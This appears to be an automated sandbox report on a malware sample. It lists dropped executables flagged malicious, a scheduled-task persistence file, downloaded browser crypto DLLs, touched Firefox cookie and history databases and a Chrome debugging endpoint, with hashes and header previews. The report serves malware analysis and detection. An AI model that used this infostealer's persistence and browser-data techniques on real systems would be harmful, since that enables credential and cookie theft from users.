SHA-512:	117C595D12F83B751E2A7E7D56A37306DE09396043B6754C15AA5FF67AE78EA15F8308D7822FE61A63105CF0208BA3CC053D884C3B5D6623EA6DA9A3B8E35A19
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................@2......x....@.................................W...k.......D.....................1...............................1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...dvclnttf.P+......P+.................@...migevdii......2......D..............@....taggant.0....2.."...J..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3616172035165865
Encrypted:	false
SSDEEP:	48:SfNaoQJTEQvfNaoQUMeMKQUMdfNaoQhQUfNaoQR/b/00UrU0U8QRF:6NnQJTEQHNnQUMeMKQUMJNnQhQANnQRL
MD5:	DDA455B7DCCC0AF39B0B5B05D610FC81
SHA1:	27E14A66B192D8C8285685C5BFFE3627CFBAC636
SHA-256:	E49FD28C8FCD21EED70DF411EDFC4331348E72B235725D6BB3F5D3EF28553E67
SHA-512:	0B44B9C7F6505AAB5764FB48368B9490C1CC169A9AF6F30907694C42CF463565A3E6D11C9AA3C55AB132148C79FF85912B77D6F7D811C8BBA0EA85C1DFF7B325
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EDCCF11BD6E593A77D83207249FC3FA4",.. "id": "EDCCF11BD6E593A77D83207249FC3FA4",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EDCCF11BD6E593A77D83207249FC3FA4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E1BDC23CC6CE15F40A01CF06C030CFE5",.. "id": "E1BDC23CC6CE15F40A01CF06C030CFE5",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E1BDC23CC6CE15F40A01CF06C030CFE5"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Download File

Process:	C:\Users\user\Desktop\4TPPuMwzSA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1854976
Entropy (8bit):	7.945620493629233
Encrypted:	false
SSDEEP:	24576:LXxMkX4JFVvXWkDBhybHlVpKFhmOqgBvr0pyc3TXvg+DEjibUCLuEarCpy+2qW3G:9MkSFVZElVcFhVqgFrPo0+DriERQ2PL
MD5:	6B7CCA5A323F5E7087052DBE58F4C15A
SHA1:	F98A92658E8F8D25F689955B1F657FBCDC30D88E
SHA-256:	122C8FA6CEC8C75DEFF869AAD3EE031709E084C3C46BDB5BE25119F884B89FB3
SHA-512:	8D2E7398A2F5BE0044D91DCAA60F4E020BAF334D8D5C822DD777226295A21FEA78863C1AE806A3EA810DC9664858BFE75CDFE692E62DB31EDCE62F06C0B7C327
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................*.......0k...........@..........................`k...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... ..+...$......\|..............@...qlmsecti.....pP......~..............@...gcgddbmv..... k......&..............@....taggant.0...0k.."...,..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe

Download File

Process:	C:\Users\user\Desktop\4TPPuMwzSA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2786816
Entropy (8bit):	6.524827682865528
Encrypted:	false
SSDEEP:	49152:3UxI/FGpFyEoIXhn9KsCyCl1tXw4TLZIRteun5lCmU:kxI/FGpFKIXh9axXJXi4u5Mm
MD5:	17839CF1DD548DBB64EC23E644A475E0
SHA1:	0E60B1FC7CADBD47F30D5C716AD10485C765E45E
SHA-256:	253E71570CA291CA5DE69B0D06CE08526657688E6D22C3E44FBC5B42F0F7C39F
SHA-512:	D8598CF08E47D0AE6778E9CA2C155F1D7C3DFD0DD3BF81778350EF4DAB4CE4F57EDB915C024414B7D8F20940EF144B847972BA46BEAA8F54AB28BEDFD0C79050
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. .......................@+.....X....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...tzzztmlq.@......$..:..............@...jxlaistz. ..........^.............@....taggant.@....+.."...d.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\DBAEHCGHII.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3042304
Entropy (8bit):	6.555795534692422
Encrypted:	false
SSDEEP:	49152:ueMrqQKUp8LZi+HoXQYLNLVzKWlpB8Eobr:ZUsi+IHJxzXlT8h
MD5:	215688FC3175B17C270C29FE33195914
SHA1:	3880A4508834EDF56D14CD784660880F0EB012A3
SHA-256:	29851165599092069A369C86ECC491DFDE744C82CB6118C241B41D517D7E11FF
SHA-512:	117C595D12F83B751E2A7E7D56A37306DE09396043B6754C15AA5FF67AE78EA15F8308D7822FE61A63105CF0208BA3CC053D884C3B5D6623EA6DA9A3B8E35A19
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................@2......x....@.................................W...k.......D.....................1...............................1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...dvclnttf.P+......P+.................@...migevdii......2......D..............@....taggant.0....2.."...J..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 08:37:49 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.978413271566764
Encrypted:	false
SSDEEP:	48:84Jd3TM6HsidAKZdA1P4ehwiZUklqeh6y+3:8sIpO5y
MD5:	12C92FE796AF31150E70C4B4B265DB02
SHA1:	F00BBD16F61870FD3BC8647279B06DF81E496959
SHA-256:	32784E372D5357C2833C3BD5E27751E964918007ED64DF49C8C242FDEBF019FC
SHA-512:	DAE25699837A7DB2D60FB77FCC9DBB74712918C934E7451E3A3333D19909E8DE6FE076D3DE7540965467D6448615B0EDB763F828A81523D212F69ED25044850A
Malicious:	false
Preview:	L..................F.@.. ...$+.,....g..+.O....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.L...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 08:37:49 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9963235524328695
Encrypted:	false
SSDEEP:	48:8Cd3TM6HsidAKZdA1+4eh/iZUkAQkqehpy+2:8uIYF9Q8y
MD5:	A61C3A6EDA052EEC2116DF05CD791D7A
SHA1:	B527C92F25EB07FB4945FBE3FEB49D4560605E0C
SHA-256:	A2690A68134F7D7C7BEF30394BF4E95B80601C403A97B8265F2F2C80D30CE2A7
SHA-512:	87052BF648DEF6A7174D2926833E976D8839974F5C388E4F364A54D36C2D248D573F5EDC153218ED691A51D06EF4F370A98108090D188A67774552AC4B49D709
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......+.O....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.L...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.003886728173134
Encrypted:	false
SSDEEP:	48:89d3TMVHsidAKZdA1404eh7sFiZUkmgqeh7sTy+BX:8HIcInFy
MD5:	B006EAE4BF9E76F62453AD1DAFBFE3D1
SHA1:	C123986B25612C68A6F594FCAE894225A124A13A
SHA-256:	F2B2208FE8D58325586E9F5ED2F3CB77F73BE93A214900A7E52DEBFD713FB3F8
SHA-512:	2CD7B02690A47B103E094BE7155459A4FCBCFB785987A95D07AC0FCBC2834A59A4FE57D329CF74750329A49136BC065101F5C21E0F6BC020514665EA02A176BD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 08:37:49 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9940645403498563
Encrypted:	false
SSDEEP:	48:8fd3TM6HsidAKZdA1p4ehDiZUkwqeh9y+R:8VIv5ry
MD5:	EC8C515BED74D28BF10ACF28C3575A22
SHA1:	D2CA79C8D58FDA77AD39D13822C6A611E3FD8A98
SHA-256:	C7C7E80A55D50904233B660081A7E8071B1F9646092E4E54A036591C5282453D
SHA-512:	8DF808FBB1CFADFAA7A8D27159E3E909FFA24A6119E135EC742DFE0F566A5E82BCA43713D69B5C8B4279FC35610122E92F91A35804F048F86776B7E34631D13A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......+.O....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.L...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 08:37:49 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9814019899345037
Encrypted:	false
SSDEEP:	48:878d3TM6HsidAKZdA1X4ehBiZUk1W1qeh/y+C:8oIxb9fy
MD5:	3B2C6A0A16BD24183645E0C8A7D41691
SHA1:	4397ECB2AC684474207A639508E6B3777EBD160D
SHA-256:	B0AE536ABDC9A991EB2F26AAA5CEF2185EBD12980385E83F15A748039826FD45
SHA-512:	85D0A718AB936251CAFA6A22D767C7AA3D2E12D4777095C00C6E31BF496812422FAF01C35A4C1A1C085313A4593CA451FE0F1DE271A07FD1C88D176E04859635
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......+.O....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.L...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 16 08:37:49 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9860604709835377
Encrypted:	false
SSDEEP:	48:8gBd3TM6HsidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbFy+yT+:8eIyTcJTbxWOvTbFy7T
MD5:	A04B157C595E4E55864F07C20C2F8382
SHA1:	88F38B36DF34522C6A0C556BE62351B59376376A
SHA-256:	F93A98BC9798FE72342F6E7A777E33364E9FB0653CA3AAE59C237506021814B2
SHA-512:	A26050F8EE231EE4877AE326FDE292EBCBD91925282BD392073691507C99A8FDDE288E9A49D1DF57A92633DA94718AA12511014D09B1A133787BAB4B1D9CB161
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......+.O....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.Y.L....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.L....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.Y.L....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.Y.L.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.Y.L...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............(.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\DBAEHCGHII.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3042304
Entropy (8bit):	6.555795534692422
Encrypted:	false
SSDEEP:	49152:ueMrqQKUp8LZi+HoXQYLNLVzKWlpB8Eobr:ZUsi+IHJxzXlT8h
MD5:	215688FC3175B17C270C29FE33195914
SHA1:	3880A4508834EDF56D14CD784660880F0EB012A3
SHA-256:	29851165599092069A369C86ECC491DFDE744C82CB6118C241B41D517D7E11FF
SHA-512:	117C595D12F83B751E2A7E7D56A37306DE09396043B6754C15AA5FF67AE78EA15F8308D7822FE61A63105CF0208BA3CC053D884C3B5D6623EA6DA9A3B8E35A19
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................@2......x....@.................................W...k.......D.....................1...............................1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...dvclnttf.P+......P+.................@...migevdii......2......D..............@....taggant.0....2.."...J..............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\DBAEHCGHII.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.3779324691647155
Encrypted:	false
SSDEEP:	6:2Tqf0vXFMsUEZ+lX1CGdKUe6tFYSoQI/uy0lMEt0:6HFMsQ1CGAFVQI/uV7t0
MD5:	1722989FF3FC3AEAAB6AC7DE576B928A
SHA1:	20C7E20F4F3F73F0A885DDCFC384A55159B7F67B
SHA-256:	A46ECFF3D31B5BE783F0884505D3BEDAA7A0CEAB28D5BF49A7E38A9BF7F51E3B
SHA-512:	4F90FB7552E70009C845BE171AB364AFF6C4F10E4B8D6B88C85CAECB197ACB60FB624DCF15486B67EB186783D5542BA659F9BB8CAED79DE7D82CE11EE75F63A4
Malicious:	false
Preview:	....t..<...O. .0....F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0.................'.@3P.........................

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5663)
Category:	downloaded
Size (bytes):	5668
Entropy (8bit):	5.7790858873967865
Encrypted:	false
SSDEEP:	96:0Pm3bli/IN6666HAGYTKT2/Dl2mRB+kmNuSUbFd66666XgUVHOU5U1Y6rW9NzffY:0PWxpN66665YTlvT+DuxbFd66666LVuv
MD5:	27B28B926D70FD18739B2C5504A03535
SHA1:	D093F1F5C9928314D6507F041C5A5EFAE48D3B58
SHA-256:	D5F6810B23652410FB1A775A93468D9CF1C8DD85A1E6208F7FAFF03938DC91E9
SHA-512:	E247BE159F17A6E905DA3F5BBC98109727FE0280360FCC796772A240D98C924C86A8684CA1B7AD05EF497B735A982888456B27457C3E5F38B9A254072D5750A5
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
